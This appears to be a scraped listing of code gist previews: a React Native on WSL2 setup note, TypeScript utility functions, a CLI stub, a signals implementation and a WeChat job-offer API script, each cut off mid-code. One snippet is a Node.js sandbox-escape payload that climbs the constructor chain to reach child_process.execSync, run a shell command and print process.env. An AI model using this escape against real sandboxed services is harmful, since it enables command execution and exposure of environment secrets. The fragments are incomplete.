Building a react native app in WSL2
Install, build and debug a react native app in WSL2 (Windows Subsystem for Linux) and Ubuntu.
// @from antfu https://antfu.me/posts/destructuring-with-object-or-array | |
export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>( | |
obj: T, | |
arr: A | |
): T & A { | |
const clone = { ...obj } | |
Object.defineProperty(clone, Symbol.iterator, { | |
enumerable: false, |
import sade from 'sade' | |
const kivi = sade('kivi') | |
kivi | |
.version('1.0.0') | |
.describe('cli for kivibot') | |
.option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json') | |
kivi |
function isObject(obj: unknown): obj is Record<string, unknown> { | |
return typeof obj === 'object' && obj !== null | |
} | |
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T { | |
if (obj === null || typeof obj !== 'object') { | |
return obj | |
} | |
if (cache.has(obj)) { |
import rfdc from 'rfdc' | |
type Listener<T> = (snapshot: T) => void | |
interface State<T extends object> { | |
proxy: T | |
target: T | |
listeners: Set<Listener<T>> | |
} |
let currentListener: Function | undefined = undefined | |
function createSignal<T>(initialValue: T) { | |
let value = initialValue | |
const subscribers = new Set<Function>() | |
const read = () => { | |
if (currentListener !== undefined) { | |
subscribers.add(currentListener) |
Install, build and debug a react native app in WSL2 (Windows Subsystem for Linux) and Ubuntu.
Thanks to @jogerj and @PrimeCicada for the method! Original script: https://gist.github.com/jogerj/0339e61a92e0de2e360c5212a94854e8
Open powershell, then copy paste this script:
Global:
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls'); | |
var exec = this.constructor.constructor; | |
var process = exec('return process')(); | |
var require = process.mainModule.constructor._load; | |
var execSysCmd = require('child_process').execSync; | |
// process.exit(); | |
console.log(process.env); |
// usage: node --no-warnings offer.mjs 米哈游 前端 | |
const args = process.argv.slice(2); | |
const js_code = ''; // get by wx.login method in WeChat | |
const api = 'https://www.ioffershow.com/V4'; | |
const silentLogin = async (js_code) => { | |
const res = await fetch(`${api}/silent_login`, { | |
method: 'POST', |